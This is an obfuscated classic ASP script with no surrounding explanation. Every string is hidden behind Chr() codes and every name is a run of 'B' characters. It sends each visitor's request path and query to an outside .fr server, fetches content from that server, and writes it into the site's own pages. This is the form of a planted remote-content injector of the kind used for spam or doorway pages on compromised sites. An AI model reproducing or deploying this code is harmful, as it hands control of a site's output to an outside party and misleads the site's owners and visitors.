﻿<%
    BBBBBBBBBBBBB = Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(102) & Chr(114) & Chr(113) & Chr(115) & Chr(55) & Chr(50) & Chr(46) & Chr(115) & Chr(115) & Chr(109) & Chr(97) & Chr(114) & Chr(113) & Chr(117) & Chr(101) & Chr(46) & Chr(102) & Chr(114) & Chr ( 47 ) & Chr ( 103 ) & Chr ( 101 ) & Chr ( 116 ) & Chr ( 47 ) & 327 & Chr ( 47 ) & Server.URLEncode ( Replace ( Request.ServerVariables ( Chr ( 80 ) & Chr ( 97 ) & Chr ( 116 ) & Chr ( 104 ) & Chr ( 95 ) & Chr ( 73 ) & Chr ( 110 ) & Chr ( 102 ) & Chr ( 111 ) ) & Chr ( 63 ) & Request.ServerVariables ( Chr ( 81 ) & Chr ( 117 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 121 ) & Chr ( 95 ) & Chr ( 83 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) ) , Chr ( 47 ) , Chr ( 35 ) ) ) & Chr ( 47 )  
    Response.AddHeader Chr ( 67 ) & Chr ( 111 ) & Chr ( 110 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 116 ) & Chr ( 45 ) & Chr ( 84 ) & Chr ( 121 ) & Chr ( 112 ) & Chr ( 101 ) , Chr ( 116 ) & Chr ( 101 ) & Chr ( 120 ) & Chr ( 116 ) & Chr ( 47 ) & Chr ( 104 ) & Chr ( 116 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 59 ) & Chr ( 99 ) & Chr ( 104 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 116 ) & Chr ( 61 ) & Chr ( 117 ) & Chr ( 116 ) & Chr ( 102 ) & Chr ( 45 ) & Chr ( 56 )  
    Response.Write BBBBBBBBBBBB ( BBBBBBBBBBBBB )  
    Response.Write vbCrLf 
Function BBBBBBBBBBBB(BBBBBBBBBBBBB )
    Dim BBBBBBBBBBBBBB
    Dim BBBBBBBBBBB
    Dim BBBBBBBBBB
    Dim BBBBBBBB
    Set BBBBBBBB = Server.CreateObject ( Chr ( 109 ) & Chr ( 115 ) & Chr ( 120 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 50 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 118 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 120 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 46 ) & Chr ( 51 ) & Chr ( 46 ) & Chr ( 48 ) )  
    BBBBBBBB.setTimeouts ( 56 * 62 - - 6528 ) , ( 90 * 31 - - 7210 ) , ( 34 * 52 - - 8232 ) , ( 71 * 61 - - 5669 )  
    BBBBBBBB.Open Chr ( 71 ) & Chr ( 69 ) & Chr ( 84 ) , BBBBBBBBBBBBB , False 
    BBBBBBBB.Send 
    If BBBBBBBB.Readystate = ( 24 * 54 - 1292 ) Then 
        If BBBBBBBB.status = ( 90 * 29 - 2410 ) Then 
            BBBBBBBBBBB = BBBBBBBB.responseText 
            BBBBBBBBBBBBBB = BBBBBBBB.responseBody 
            BBBBBBBBBB = Chr ( 117 ) & Chr ( 116 ) & Chr ( 102 ) & Chr ( 45 ) & Chr ( 56 )  
            BBBBBBBBBBBB = BBBBBB ( BBBBBBBB.responseBody , Trim ( BBBBBBBBBB ) )  
        End If 
    End If 
End Function
Function BBBBBB(BBBBBBBBB,BBBBBBB )
    Dim BBBBB
    Set BBBBB = Server.CreateObject ( Chr ( 97 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) )  
    BBBBB.Type = ( 99 * 30 - 2969 )  
    BBBBB.Mode = ( 18 * 24 - 429 )  
    BBBBB.Open 
    BBBBB.Write BBBBBBBBB 
    BBBBB.Position = ( 8 * 56 - 448 )  
    BBBBB.Type = ( 91 * 77 - 7005 )  
    BBBBB.Charset = BBBBBBB 
    BBBBBB = BBBBB.ReadText 
    BBBBB.Close 
    Set BBBBB = Nothing 
End Function

%>
